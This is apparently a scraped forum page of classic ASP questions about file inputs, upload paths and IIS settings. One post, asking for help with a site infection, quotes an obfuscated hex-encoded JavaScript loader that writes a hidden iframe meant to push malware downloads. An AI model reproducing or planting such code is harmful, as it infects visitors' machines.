Default Folder Location For Input Type="file"

I have some ASP pages on my intranet site providing a helpdesk to my users. As part of logging a helpdesk call I am prompting them to link to a file using input type="file".

The file is on a network drive and the problem is when you click on the browse button it defaults to the clients desktop as the starting point of the browsing process. I would like to set a default location to start browsing eg
etwork_serverhelpdesk to avoid confusion. Does anyone know of a way to do this ?

View Replies


ADVERTISEMENT

Setting A Default Value For The Input Type File?

I'm building a system where a presenter uploads a PPT to my server and
then I show it to all the participants. The problem is that most of the
media in the PPT is usually linked, so I'll need to upload all that
too.

Assuming I can parse the PPT and figure the exact name and
location of each of the media files I need from his hard-disk, is there
any way I can upload all these files automatically, without having to
make the user choose each of these files manually? If that's not
possible, can I atleast show the user a page with a list of input boxes
of type file, pre-populated with the file-path and name of the media
files I need, so that the user can just click 'Submit' without having
to browse and select each of them?

Please say yes. It would be a major usability crisis if my users had to
keep hitting the browse button so many times for each PPT! Especially
when I know exactly what files I need and where they are! I know that
this has a lot to do with browser security, but there's got to be SOME
way out?

View Replies View Related

Input Type File

Very LAST part of the project:

I want users to pick a file from a pool (=folder) in which they should be 'locked'. I tried using this method:

<input type="file" name="image1">

Once clicked the browse button, it takes the user to a client folder. I want to take the user to the pool on the server which has the uploaded images. Is this possible?

View Replies View Related

Input Type=file

is it possible to define a default or start up directory with input type="file" field type? If so, is it also possible to filter by another option box selection?

View Replies View Related

Reading With Input Type File??

I m using

<input type="file" name="abc">

But when I retrieve the contents sent after browsing the file from the system using

Request.Form("abc")

the retrieved value is null, ie., blank.

Why is that occuring??

View Replies View Related

Reading The Input Type=file Tag With Ie6 In Asp

I wanted to write a simple page to let me choose a directory and then list
the files in it. The end goal was to make an easy way to copy all the
file names in a directory. I tested with Opera7, Mozilla 1.4 and IE6 -- all
on windows XP Pro


Here is the code. In all three, when I select a file, the complete path
is displayed in the file input box. In Opera, reading the form field gives
me the same full path. But in IE and Moz I get only the filename -- none of
the path information. Code:

View Replies View Related

HTML + <input Type=file>

I'm trying to input image file using this synax.

<input type=file name="tx_file" accept="image/*"
class=boxText>

But when open file dialouge appears, it shows all the file and user can select any file and i.e. i dont want.

View Replies View Related

How To Change The Default Location For IIS.

how to dirrect the IIS installation to an other drive or how to manually move all related files to an other drive? I think I can menage the sites, but NNTP and SMTP I can't see where.

View Replies View Related

Processing/Handling For Form Input Type ="file"

<INPUT TYPE="FILE" SIZE="50" NAME="FILE2">

I have this form field that I'm processing on another ASP page on submission. How do i determine if this field has had any data input? I tried

<% Request.Form("FILE2") %>

but it does not have any value. What am i doing wrong?

View Replies View Related

Problem Displaying <input Type="file"> Value

i need to display a name of a file retreived from database in the <input type="file">
field. The code is:

<INPUT class="txt" TYPE="file" NAME="filename" SIZE="15" value=<%=filename%>>

I have done the select statement and assigning of the value into variable "filename".
But, the value doesn't get displayed.

need to display in file input type cos user may need to select another file.

View Replies View Related

Changing Default Folder

I have installed IIS on win XP pro. however I cannot find a control panel like PWS on w2k to change default folder. How do I do that?

View Replies View Related

Default Save As Type And Filename

I have an asp page that produces output from a database. This allows a
simple way for the user to save the data to a text file by going to
File->Save as...

The default save as options always defaults to a particular filename and the
save as type is always html, therefore the user has to manually type a
filename and choose Text File (*.txt) as the type.

I remember I was able to overide ride these options with the following code.

Response.ContentType = "text/plain"
Response.AddHeader "Content-Disposition", "inline; filename=myfilename"

This doesn't seem to be working for me anymore.

Any thoughts?

View Replies View Related

IE's Default For Save As Type Incorrect

I'm using a binary stream to send down a file with ASP from the web
server. I've been having trouble with IE and getting it to recognize
my file. I've added the filename as a paramater(?filename=file.jpgw)
to handle IE's mime type mangling, but I'm still having trouble with
IE's default Save As Type being HTML.

When we send down a jpgw
(geo-jpeg) file IE wants to save it as an HTML file. I've got the
correct filename showing in the Filename box, and if I choose the All
Files option from the Save As Type drop down then the file is saved
with the correct extension. I'd like to have the All Files option
choosen by default. I know it's just a couple of clicks but we have
some noivce users that can't seem to get that.

View Replies View Related

New Type Of Injection? Rewrite Default Document?

This is weird, I'm pretty familiar with SQL Injection - but we're getting these weird injection that is writing in the default document or home page. What it's doing is putting in script code at the top or bottom of the home page... it looks something like this:

<script>function xy1q4877d47d91a36(q4877d47d92209){ function q4877d47d929d5
() {return 16;} return (parseInt(q4877d47d92209,q4877d47d929d5()));}funct ion
q4877d47d93974(q4877d47d94144){ var q4877d47d95c9b=2; var
q4877d47d94d7f='';q4877d47d96c3a=String.fromCharCo de;for(q4877d47d954cc=0;q4877d47d954cc<q4877d47d94144.length;q4877d47d954cc+=q4877d47d95c 9b){
q4877d47d94d7f+=(q4877d47d96c3a(xy1q4877d47d91a36( q4877d47d94144.substr(q4877d47d954cc,q4877d47d95c9 b))));}return
q4877d47d94d7f;} var
q4877d47d9740a='3C7363726970743E696628216D79696129 7B646F63756D656E742E777269746528756E65736361706528 20272533632536392536362537322536312536642536352532 30253733253732253633253364253237253638253734253734 25373025336125326625326625373425373225373525363525 37322536392536652536372537342536662536652536352537 33253265253665253635253734253266253733253635253631 25373225363325363825326525363325363725363925336625 36322536312536312536372536392537322536632625323725 32622534642536312537342536382532652537322536662537 35253665253634253238253464253631253734253638253265 25373225363125366525363425366625366425323825323925 32612533352533352533352533362533372532392532622532 37253634253335253332253338253237253230253737253639 25363425373425363825336425333125333825333125323025 36382536352536392536372536382537342533642533332533 30253337253230253733253734253739253663253635253364 25323725363425363925373325373025366325363125373925 33612532302536652536662536652536352532372533652533 63253266253639253636253732253631253664253635253365 2729293B7D766172206D7969613D747275653B3C2F73637269
70743E';document.write(q4877d47d93974(q4877d47d974 0a));</script>

What it's doing is decoding itself into an iframe that links out to popups that will try and download a virus on your machine. I don't get the popup in my machine because i think i have a newer version of IE. But some people have complained that it is installing a virus on their machine.

Also what is crazy is when I replace the file with a good version. In about 30 mins, it automatically overwritten with the infected version. Also I've noticed it on some other websites that I haven't touched.

Has anyone encountered this before? Because I'm stumped as to the cause of it. I don't see the issue on our dev server. It seems to be IIS on a shared host.

View Replies View Related

INPUT Type=Reset

I have a form on which I have a INPUT Type='Reset'. On clicking this button all the fields on the form should reset except a few. Is it possible to do this by setting some property of the control or do I have to specifically write code form that?

View Replies View Related

Path From Input Type

I am using freeaspupload to upload an image file. However, i need to grab the path that is in the text box after the client browses to the file. It looks like windows security will only give me the file name. How do i get that entire path?

View Replies View Related

Input Type Image

I create a button in the form in the asp page like is:

<input type="image" src="button.gif" name="detail" border=0 value="100234">

How can I get this value from another page?

I try:

sdetail = Trim(Request.Form("detail"))
response.write(sdetail)

But doesn't work

View Replies View Related

Input Type Hidden

i need to track the source of a page which user browses ex: aboutus.html, contactus.html in which there is a link to enquiry.php where a user fills out a form. so i need to track which page the user originally came from(aboutus.html or contactus.html)

presently i am using enquiry.php to track the previous page with the following code

<input type='hidden' name='fromPage' value='<?php print $_REQUEST['fromPage']; ?>' />

i need to know what is the syntax in ASP for the above statement so that i can read the hidden value into a variable called source using Request.Form and later i can read this source variable in php

View Replies View Related

INPUT TYPE=SUBMIT Value As Multiline

I want a number of buttons to have the value text split over multi-lines, Is this possible?

View Replies View Related

File Location

Is there a way to set the location where the input type="file" option gets its files from. I know you cannot set a default file, but is there a way to set where it starts looking.

View Replies View Related

Included File's Name And Location

Is it possible to get the filename, and more importantly the path, from inside an ASP file, when that file is included? I know it can be done for the base file using Server variables, but I can't figure out how to do that for an included file.

I need to write an application that uses include files, and that may be moved to another folder on the server...

View Replies View Related

Forcing Location For A Download File

if i have a link that allow user to download an application from an server, is like Code:

<a href="wss1/daemon tools.exe"></a>

after i clicked this link, i will be link to an pop up windows to specified the save path location.How do i set the save path location to a dedicated destination or file?is like when i click on the link then it will automatic without pop up and then save into that dedicated location?

View Replies View Related

Copy File From Location Variable

I want to copy a file from a variable location

"C:...myDocument

hisfile.txt" to a destination D:data

How can I do that? I tried to get the path from <input tyep=file>, but I couldn't pass this value to the filesystemobject.

View Replies View Related

Write A File To As Subfolder Of A InetServer Location

I have an ASP application on IIS server:
http://localhost/myApp
I use ASP and a my own VB activex DLL to create a pdf file and write this
file to a subfolder of the Application folder:
http://localhost/myApp/pdfs

1-
Over IIS I have set the "write permission" for this subfolder.
But each time I receive the message: "Can't open output file (bad filename,
in use by other application)", error 0x80040202

2- a visual basic test application can call this DLL, generate and write the
file without problem to the folder

3- with ASP I generate the file in a normal folder (ie c: emp), it works
Then my ASP page use FileSystemObject to copy this file to the folder
...MyApp/pdfs

When I call this page there is no error message, but the programm runs utils
the line, where FileSystemObject to copy the file to the folder, then it
stops there. The process is hung (dead). The file is not copied...

How can I do?

View Replies View Related

Save A File From Remote Location To Local?

Is there a way to save a file from a remote location to my local computer with asp?

Let's say as an example that I would like to save a file from
http://www.somesite.com/file.txt
to
c:file.txt
on my pc using an asp page located either on one of the two locations?

View Replies View Related

Global.asa An Error Referring To A File That Is In A Different Location

i have two sites on shared NT hosting

aw.neue.co.uk and smh.neue.co.uk

both sites have their own global.asa files and both appear to be throwing up an error referring to a file that is in a different location

anyone know whats happening?

View Replies View Related

Input Type="reset" - NOT WORKING!

I'm facing a peculiar problem..I've multiple text fields in a form.

One of the text object(named-A) is getting populated with the help of some JavaScript code written in the ASP page .

Now, when I click the "Reset" button, all the text objects are getting cleared of their content,EXCEPT "A".

View Replies View Related

Web.config File, Default Page Precedence, Shared Hosting

I moved a site from a dedicated server to a shared hosting environment. On my dedicated I could specify the order of precedence for the default / index files. On the shared default.asp takes precedence of index.html and I can not change that.

Support told me to look into using a web.config file to accommodate my needs. What I need to do is have the index.html file show up first, not the default.asp Is the web.config file the route to take?

View Replies View Related

File Input

when using a file input it only returns the filename

is there any way of returning the full path and file name?

View Replies View Related

Upload Without File Input

i want to build an applique and i need to to upload files to my server but i can't used file input. i tought on this hours but i can't get any result.

View Replies View Related

Folder/file Details

Is it possible to run an asp script to display the details (i.e. last
modifed time/date) of several files held on the client and or on the server
running IIS (if i map it to the folder with the files in question).

View Replies View Related

File And Folder Listing.

I am creating something for our intranet and i want to list the files and folders of a directory, i found some code to do this.The only problem is that it lists the asp file used to for example if i go to:"http://myserver/listing.asp" In the file listing will be "listing.asp" amongst a lot of marketing documents.Is there a way to block/stop this one file from being listed?

View Replies View Related

Folder And File Listing

a website that tells how to do this Folder and File listing? I know I need to use the filesystemobject but other than that I'm lost.

View Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved